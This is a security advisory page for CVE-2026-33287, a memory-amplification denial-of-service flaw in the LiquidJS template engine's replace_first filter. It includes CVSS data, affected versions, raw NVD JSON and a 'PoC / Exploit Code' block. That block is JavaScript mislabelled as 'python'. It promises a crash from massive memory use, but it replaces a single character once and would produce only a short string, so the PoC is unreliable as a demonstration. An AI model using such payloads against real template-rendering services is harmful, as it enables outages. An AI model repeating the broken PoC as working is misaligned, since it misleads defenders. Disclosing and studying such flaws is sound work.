Security Vulnerability Report
中文
CVE-2026-33287 CVSS 7.5 HIGH

CVE-2026-33287

Published: 2026-03-26 01:16:28
Last Modified: 2026-03-30 16:46:04

Description

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:* - VULNERABLE
LiquidJS < 10.25.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const { Liquid } = require('liquidjs'); const engine = new Liquid(); // PoC for CVE-2026-33287 // The 'replace_first' filter uses String.prototype.replace() // '$&' is a backreference to the matched substring // Memory limit is checked only on input, not the amplified output const input = "a".repeat(100); // Short input string to bypass input length checks // Replacing 'a' with many '$&' causes massive memory usage relative to input const template = `{{ "${input}" | replace_first: "a", "$&$&$&$&$&$&$&$&$&$&" }}`; console.log("Triggering DoS via memory amplification..."); try { const result = engine.parseAndRenderSync(template); console.log("Result length:", result.length); } catch (e) { console.error("Process crashed or Out Of Memory:", e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33287", "sourceIdentifier": "[email protected]", "published": "2026-03-26T01:16:27.530", "lastModified": "2026-03-30T16:46:03.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue."}, {"lang": "es", "value": "LiquidJS es un motor de plantillas compatible con Shopify / GitHub Pages en JavaScript puro. Antes de la versión 10.25.1, el filtro 'replace_first' en LiquidJS utiliza 'String.prototype.replace()' de JavaScript, que interpreta '$&amp;' como una retroreferencia a la subcadena coincidente. El filtro solo carga 'memoryLimit' por la longitud de la cadena de entrada, no por la salida amplificada. Un atacante puede lograr una amplificación exponencial de la memoria (hasta 625.000:1) mientras se mantiene dentro del presupuesto de 'memoryLimit', lo que lleva a una denegación de servicio. La versión 10.25.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.25.1", "matchCriteriaId": "7E49E8C9-5FB9-40CA-BE2C-AC2B6553F472"}]}]}], "references": [{"url": "https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}